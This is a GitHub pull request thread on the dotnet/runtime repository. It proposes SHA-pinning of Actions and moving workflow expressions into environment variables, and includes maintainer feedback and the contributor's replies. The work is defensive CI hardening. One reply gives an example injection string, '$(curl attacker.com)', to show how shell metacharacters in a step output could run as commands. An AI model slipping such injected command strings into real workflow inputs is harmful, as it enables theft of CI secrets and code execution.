Skip to content

fix: pin 2 unpinned action(s),extract 6 unsafe expression(s) to env vars#126532

Open
dagecko wants to merge 1 commit intodotnet:mainfrom
dagecko:runner-guard/fix-ci-security
Open

fix: pin 2 unpinned action(s),extract 6 unsafe expression(s) to env vars#126532
dagecko wants to merge 1 commit intodotnet:mainfrom
dagecko:runner-guard/fix-ci-security

Conversation

@dagecko
Copy link
Copy Markdown

@dagecko dagecko commented Apr 4, 2026

Summary

This PR hardens your CI/CD workflows against supply chain attacks by pinning GitHub Actions to immutable commit SHAs and extracting unsafe expressions from run: blocks into env: mappings.

Fixes applied (in this PR)

Rule Severity File Description
RGS-007 medium backport.yml Pinned 1 action(s) to commit SHA
RGS-008 high breaking-change-doc.lock.yml Extracted 2 expression(s) to env vars
RGS-008 high code-review.lock.yml Extracted 2 expression(s) to env vars
RGS-008 high copilot-echo.lock.yml Extracted 2 expression(s) to env vars
RGS-007 medium inter-branch-merge-flow.yml Pinned 1 action(s) to commit SHA

Advisory: additional findings (manual review recommended)

Rule Severity File Description
RGS-005 medium breaking-change-doc.lock.yml Excessive Permissions on Untrusted Trigger
RGS-005 medium breaking-change-doc.lock.yml Excessive Permissions on Untrusted Trigger
RGS-019 medium bump-chrome-version.yml Step Output Interpolated in run Block
RGS-005 medium labeler-predict-pulls.yml Excessive Permissions on Untrusted Trigger

Why this PR

I've been scanning the top 50,000 GitHub repositories for CI/CD pipeline vulnerabilities over the last 5 weeks as part of an ongoing research effort into the supply chain attack campaign that started with tj-actions in March and has escalated through multiple phases since, where attackers compromise maintainer accounts and force-push malicious code to mutable action tags - every downstream project referencing those tags then executes the attacker's code with full access to secrets and deployment credentials.

You may notice that I have opened up a lot of PRs - don't take that as a negative. I've been working around the clock on this and monitoring all comms. It may take me an hour or two to get back to a comment you leave.

How to verify

Every change is mechanical and preserves workflow behavior:

  • SHA pinning: action@v3 becomes action@abc123 # v3 - original version preserved as comment
  • Expression extraction: ${{ expr }} in run: moves to env: block, referenced as "${ENV_VAR}" in the script
  • No workflow logic, triggers, or permissions are modified

I've had 22 merges so far. I created a tool called Runner Guard to assist in my research - it does mechanical, non-AI fixes to reduce hallucinations to zero and produce consistent fixes. If you would like to scan it yourself to validate my work, feel free.

Happy to answer any questions - I'm monitoring comms on every PR.

- Chris Nyhuis (dagecko)

Automated security fixes applied by Runner Guard (https://github.com/Vigilant-LLC/runner-guard).

Changes:
 .github/workflows/backport.yml                 | 2 +-
 .github/workflows/breaking-change-doc.lock.yml | 6 ++++--
 .github/workflows/code-review.lock.yml         | 6 ++++--
 .github/workflows/copilot-echo.lock.yml        | 6 ++++--
 .github/workflows/inter-branch-merge-flow.yml  | 2 +-
 5 files changed, 14 insertions(+), 8 deletions(-)
@dagecko dagecko requested review from a team and jeffhandley as code owners April 4, 2026 02:29
@dotnet-policy-service dotnet-policy-service bot added the community-contribution Indicates that the PR has been added by a community member label Apr 4, 2026
@dotnet-policy-service
Copy link
Copy Markdown
Contributor

Tagging subscribers to this area: @dotnet/runtime-infrastructure
See info in area-owners.md if you want to be subscribed.

@dagecko
Copy link
Copy Markdown
Author

dagecko commented Apr 4, 2026

@dotnet-policy-service agree [company="Vigilant"]

@dagecko
Copy link
Copy Markdown
Author

dagecko commented Apr 4, 2026

@dotnet-policy-service agree

backport:
if: ${{ contains(github.event.comment.body, '/backport to') || github.event_name == 'schedule' }}
uses: dotnet/arcade/.github/workflows/backport-base.yml@main
uses: dotnet/arcade/.github/workflows/backport-base.yml@a27cb13c8355fd3711a66e8c0d4f71e76dafaa18 # main
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this intentionally doesn't use pinning since we fully control the dotnet/arcade repository and always want to consume the latest version

# Re-authenticate git with GitHub token
SERVER_URL_STRIPPED="${SERVER_URL#https://}"
git remote set-url origin "https://x-access-token:${{ github.token }}@${SERVER_URL_STRIPPED}/${REPO_NAME}.git"
git remote set-url origin "https://x-access-token:${GITHUB_TOKEN}@${SERVER_URL_STRIPPED}/${REPO_NAME}.git"
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this is generated code by GitHub Agentic Workflows and shouldn't be touched, please send a PR to fix this upstream. looks like this happens in https://github.com/github/gh-aw/blob/main/pkg/workflow/git_configuration_steps.go#L48

jobs:
Merge:
uses: dotnet/arcade/.github/workflows/inter-branch-merge-base.yml@main No newline at end of file
uses: dotnet/arcade/.github/workflows/inter-branch-merge-base.yml@a27cb13c8355fd3711a66e8c0d4f71e76dafaa18 # main No newline at end of file
Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

same as above

@akoeplinger
Copy link
Copy Markdown
Member

Thanks. I'd be interested to learn more about the findings in bump-chrome-version.yml and labeler-predict-pulls.yml

@dagecko
Copy link
Copy Markdown
Author

dagecko commented Apr 4, 2026

Thanks for asking @akoeplinger.

bump-chrome-version.yml was flagged because ${{steps.check_changes.outputs.has_changes}} is interpolated directly in a run block (line 41). Currently the output comes from git diff-index and will always be "true" or "false", so the risk is low today. The concern is what happens if someone later modifies the step that produces check_changes output, for example if the output started including a branch name or file path that contained shell metacharacters. Because the value is pasted directly into the shell script before execution, something like $(curl attacker.com) in the output would execute as a command. Moving it to an env mapping (env: HAS_CHANGES: ${{ steps.check_changes.outputs.has_changes }} and referencing "${HAS_CHANGES}" in the script) treats the value as data rather than code, so even if the upstream step changes, shell injection is not possible.

labeler-predict-pulls.yml was flagged for pull_request_target with pull-requests: write and step output interpolation. I can see from the comments in your workflow that this is an intentional and well considered design choice and the separation between the read-only polling job and the write labeling job is the correct pattern. The ${{ inputs.pulls }} interpolation in the run block is low risk since it comes from workflow_dispatch. The scenario where this becomes a problem is if someone adds a new trigger to this workflow (like issue_comment) that passes attacker controlled input through the same code path. The env mapping pattern would prevent that from becoming an injection even if the trigger surface changes.

Neither of these are critical and your team has clearly thought through the security model on these workflows. They were included as informational findings for your review, not as issues requiring immediate action.

That said the pinning and permissions changes in this PR are the most important piece. I've been watching a nation state actor target maintainers of high profile open source projects for the last 5 weeks and have been working on hardening these projects before they're hit. The SHA pins in this PR ensure that even if a maintainer account is compromised the pinned commits cannot be silently replaced.

Chris

@dagecko
Copy link
Copy Markdown
Author

dagecko commented Apr 4, 2026

Thanks @akoeplinger.

backport.yml understood. From what I've seen both across other repos and the actual attacks over the last 5 weeks I would recommend keeping the pin but it's up to you. Let me know what you'd like and I can make the change.

breaking-change-doc.lock.yml and inter-branch-merge-flow.yml I actually found this in another repo as well and already scanned gh-aw. Found 33 findings there. I'll get a PR submitted upstream to fix it at the source.

Chris

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

area-Infrastructure community-contribution Indicates that the PR has been added by a community member

Projects

Status: No status

Development

Successfully merging this pull request may close these issues.

2 participants